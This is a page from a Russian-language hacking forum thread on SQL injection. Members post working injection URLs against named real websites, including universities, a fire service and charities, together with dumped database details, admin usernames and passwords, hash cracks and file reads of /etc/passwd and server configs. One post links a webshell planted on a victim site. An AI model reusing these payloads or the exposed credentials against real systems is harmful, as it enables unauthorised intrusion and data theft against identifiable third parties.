SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 395 of 798
  1. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.ic-computers.ro/content/html/index.php?a=show_prod&pid=256+AND+ASCII(SUBSTRING((select+version()),1,1))=37--




    Version : 5.0.67-community
    Database : iccomput_iccomputers
    User : iccomput_iccomputers@localhost
     
    #7881 Gorev, 21 Feb 2009
    4 people like this.
  2. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    athabascau.ca - PR7
    Code:
    http://www.athabascau.ca/aboutau/news/news_item.php?id=319%27+UNION+SELECT+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34/*
    DB_Ver:5.0.45
    DB_User:wiu_webuser@localhost
    DB:db_wiu
    В принципе есть таблица news_login с полями id,username,password вот пример запроса:
    Code:
    http://www.athabascau.ca/aboutau/news/news_item.php?id=319%27+UNION+SELECT+1,concat_ws(0x3a,id,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+FROM+news_login/*
    И собственно вот ид,логин и пароль
    0:admin:ccsadmin108
    но где это использовать неизвестно =)
     
    #7882 Kraneg, 21 Feb 2009
    1 person likes this.
  3. ПаВлУшКа

    ПаВлУшКа New Member

    Joined:
    7 Feb 2009
    Messages:
    24
    Likes Received:
    4
    Reputations:
    0
    Code:
    http://www.wedasoft.at/en/promos.php?id=-9+union+select+1,2,3,4,5,6,7,8
    .....
     
    #7883 ПаВлУшКа, 21 Feb 2009
    Last edited by a moderator: 21 Feb 2009
    1 person likes this.
  4. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    omnibc.ca - PR5
    Code:
    http://www.omnibc.ca/programming/details.php?id=999999%27+UNION+SELECT+concat_ws(0x3a,version(),user(),database()),2,3,4,5,6/*
    DB_Ver: 5.0.45
    DB_User: omnibc@localhost
    DB: omnibc_08_2008
    админка:
    Code:
    http://www.omnibc.ca/admin/
    Теперь выясним пароль и логин доступа к админке... Впрочем это не трудно... Таблица с админами называется user а поля id,username,password,role... нам интересны второе и третье, то есть username и password
    Code:
    http://www.omnibc.ca/programming/details.php?id=999999%27+UNION+SELECT+concat_ws(0x3a,username,password),2,3,4,5,6+FROM+user+LIMIT+0,1/*
    Всего 4 пользователя с просто потрясными паролями =) сначала думал что шутка =)
    james:jamespass
    user:userpass
    news:newspass
    community:communitypass
     
    #7884 Kraneg, 21 Feb 2009
  5. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    http://www.fire.nsw.gov.au/news.php?news=837+union+select+1,2,3,4,5,6,7,8,9,10,11,12+limit+1,1/*

    DB_Ver: 4.0.24-nt-max-log
    DB_User: [email protected]
    DB: vs161854_1
     
    #7885 M.W.N.N., 21 Feb 2009
  6. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    judoontario.ca - PR5
    Code:
    http://www.judoontario.ca/current_news.php?id=656565%27+UNION+SELECT+1,2,concat_ws(0x3a,version(),user(),database()),4/*
    DB_Ver:4.1.20
    DB_User:judo1@localhost
    DB:judo
    Теперь выясним имена пользователей и их пароли =) Таблица называется members! Поля username,password
    Code:
    http://www.judoontario.ca/current_news.php?id=656565%27+UNION+SELECT+1,2,concat_ws(0x3a,username,password),4+from+members/*
    выводятся все =)
     
    #7886 Kraneg, 21 Feb 2009
  7. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    2ПаВлУшКа
    Там идет басик авторизация(может кто уже воткнул).

    PR-6 www.irma-grenoble.com
    PHP:
    http://www.irma-grenoble.com/04risques_isere/00commune_photos.php?NumeroINSEE=-1)+union+select+1,concat_ws(0x3A,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15+--+
    irma38@localhost:4.1.19:irma38_communes

    PR-4 www.solverde.pt
    PHP:
    http://www.solverde.pt/casinos/index.php?lg=1&p=134&d=2&i=-22718+union+select+1,2,3,4,concat_ws(0x3A,user,password,host,file_priv),6+from+mysql.user+limit+5,1--
    phpuser:341d6ca146c27aa7:localhost:Y

    PHP:
    http://www.solverde.pt/casinos/index.php?lg=1&p=134&d=2&i=-22718+union+select+1,2,3,4,LOAD_FILE(0x2f6574632f706173737764),6--
    Конфиг апача
    PHP:
    http://www.solverde.pt/casinos/index.php?lg=1&p=134&d=2&i=-22718+union+select+1,2,3,4,LOAD_FILE(0x2f6574632f68747470642f636f6e662f68747470642e636f6e66),6--
     
    #7887 AkyHa_MaTaTa, 21 Feb 2009
    Last edited: 21 Feb 2009
    2 people like this.
  8. Glazz

    Glazz Elder - Старейшина

    Joined:
    9 Aug 2008
    Messages:
    116
    Likes Received:
    7
    Reputations:
    0
    http://psy-trening.com/reply.php?id=-1+union+select+1,2,3,4,5,6--
    Может будет интересно.
     
    #7888 Glazz, 21 Feb 2009
  9. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Juilliard.edu
    Missouri.edu
    Neu.edu
    Wccs.edu
     
    #7889 sabe, 21 Feb 2009
    Last edited: 21 Feb 2009
    4 people like this.
  10. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    coalition-sgsl.ca - PR4
    Code:
    http://www.coalition-sgsl.ca/news.php?news=16+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,version(),user(),database()),13/*
    DB_Ver: 5.0.45-community-nt-log
    DB_User: [email protected]
    DB: webcura_sgsl
     
    #7890 Kraneg, 21 Feb 2009
    1 person likes this.
  11. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://dr-gng.dp.ua/index.php?act=publ&id=-10+UNION+SELECT+1,version(),3,4,5
    5.0.67-community

    Code:
    http://perfumes4you.kiev.ua/index.php?act=publ&id=-19+UNION+SELECT+version(),2,3,4,5,6
    5.0.67-community

    Code:
    http://www.med-tech.kiev.ua/index.php?act=publ&id=-12+UNION+SELECT+version(),2,3,4,5
    5.0.67-community

    Code:
    http://forex-4-all.ru/index.php?act=publ&id=-2+UNION+SELECT+version(),2,3,4,5
    4.1.22-standard
     
    _________________________
    #7891 yarbabin, 21 Feb 2009
    Last edited by a moderator: 21 Feb 2009
    1 person likes this.
  12. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    steamwhistle.ca - PR6
    Code:
    http://www.steamwhistle.ca/events/eventdetail.php?EventID=-146+UNION+SELECT+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14/*
    DB_ver: 5.0.24a-log
    DB_User: u70604077@cgihost
    DB: d60541981
     
    #7892 Kraneg, 21 Feb 2009
  13. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://russia-forex.ru/index.php?act=publ&id=-2+UNION+SELECT+version(),2,3,4,5&page=
    4.1.22-standard
     
    _________________________
    #7893 yarbabin, 21 Feb 2009
  14. [JavaScript]

    [JavaScript] Member

    Joined:
    14 Feb 2009
    Messages:
    45
    Likes Received:
    22
    Reputations:
    1
    Похоронный портал - funeralportal.ru - PR 4
    Code:
    http://www.funeralportal.ru/catalog.php?SubjectId=445+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9
    user:database:version
    [email protected]:u58626:5.0.67-log
     
    #7894 [JavaScript], 21 Feb 2009
  15. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    PageRank: 5 www.tina-b.com
    PHP:
    http://www.tina-b.com/content.php?season=2007&A9=en&akce=section&id=-2123+union+select+1,2,3,4,concat_ws(0x3A,@@version,user(),database()),6,7,8,9,10,11,12+--+
    PageRank: 5 www.salon.eu.sk
    PHP:
    http://www.salon.eu.sk/author.php?author=-68'+union+select+1,concat_ws(0x3A,@@version,user(),database()),3+--+
     
    #7895 AkyHa_MaTaTa, 21 Feb 2009
  16. [JavaScript]

    [JavaScript] Member

    Joined:
    14 Feb 2009
    Messages:
    45
    Likes Received:
    22
    Reputations:
    1
    crystallakenet.org - PR 4
    Code:
    http://www.crystallakenet.org/subject.php?subjectID=-62+union+select+concat_ws(0x3a,user(),database(),version())
    user:database:version
    library2_ciab@localhost:library2_ciab:4.1.22-standard

    sA21
    Я не гуру, но все же помогу.
    пароль - rotideez.
    https://hashcracking.info/index.php
    http://ru.wikipedia.org/wiki/md5
     
    #7896 [JavaScript], 21 Feb 2009
    Last edited: 21 Feb 2009
    1 person likes this.
  17. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    wac.org.ua/wacindex.php?id=-5+UNION+SELECT+1,2,3
    4.1.22-standard-log
    wac_a:s8bl656
    =
    http://travel.org.ua/water/index.php?id=-5+UNION+SELECT+1,2,file_priv,4,5+from+mysql.user/*
    N =(
    travel.org.ua/water/index.php?id=-5+UNION+SELECT+1,2,3,4,5
    5.0.22
    1000 ТИЦ
    =
    kievrealtor.org.ua/news.php?id=-5+UNION+SELECT+1,2,3,4
    http://kievrealtor.org.ua/news.php?id=-5+UNION+SELECT+1,2,3,4+from+owner
    4.1.22-standard
    =
    okno-v-mir.org.ua/oknoindex.php?id=-5+UNION+SELECT+1,2,3
    http://okno-v-mir.org.ua/oknoindex.php?id=-5+UNION+SELECT+1,2,concat(login,0x3a,password)+from+users
    http://okno-v-mir.org.ua/admin/admin.php
    ovm_a:s8bl656
    4.1.22-standard-log
    =
    www.frankivsk-fm.org.ua/new.php?id=-5+UNION+SELECT+1,2,3,4,5,6,7,8
     
    #7897 b3, 22 Feb 2009
    Last edited by a moderator: 22 Feb 2009
    1 person likes this.
  18. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Blind

    http://www.lutek.ro/car.php?codp=1056 AND ASCII(SUBSTRING((select version())1,1))=x


    x=53,46,48,46,54,55,45,99,111,109,109,117,110,105,116,121

    http://www.lutek.ro/car.php?codp=1056 AND ASCII(SUBSTRING((select database())1,1))=x

    x=108,117,117,116,101,107,95,103,101,57,50,108,114




    http://www.lutek.ro/car.php?codp=1056 AND ASCII(SUBSTRING((select user()),1,1))=x

    x=108,117,117,116,101,107,95,117,115,101,114,64,108,111,99,97,108,104,111,115,116


    Version : 5.0.67-community
    Database : luutek_ge92lr
    User : luutek_user@localhost
     
    #7898 Gorev, 22 Feb 2009
    Last edited: 22 Feb 2009
    2 people like this.
  19. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Page Rank 5 www.bioenergetic.hu
    Какой то вебшоп самопальный
    PHP:
    http://www.bioenergetic.hu/index.php?module=webshop&target=view&id=93+union+select+1,concat_ws(0x3A,name,password),3,4+from+bioenergetic.tps_user+limit+0,1+--+
    admin:217a968c3f6a1d9d9cf8784d1c83ca43 - admin:tibor

    админка какая то стремная но шелл наверно можно подлить:

    http://www.bioenergetic.hu/admin.php

    PR -6 www.streetchildren.org.uk, я как database() увидел аш крякнул :).
    PHP:
    http://www.streetchildren.org.uk/resources/details/?type=theme&Reg%3Cbr%20/%3Eion=&country=&key_theme=&theme=-125+union+select+1,2,concat_ws(0x3A,user,password,host,file_priv),4,5,6,7,8+from+mysql.user+--+&other=&publication=
     
    #7899 AkyHa_MaTaTa, 22 Feb 2009
    Last edited: 22 Feb 2009
    1 person likes this.
  20. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    2 AkyHa_MaTaTa

    http://www.bioenergetic.hu/images/webshop/ezoterikus_termekek_ekszerek_egyeb/webshell.php

    http://www.valera.ro/catalog.php?pid=-40+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8



    Database Version: 5.0.32-Debian_7etch8-log
    Database name: valera
    User name: valera@localhost
     
    #7900 Gorev, 22 Feb 2009
    1 person likes this.
(You must log in or sign up to post here.)
Page 395 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.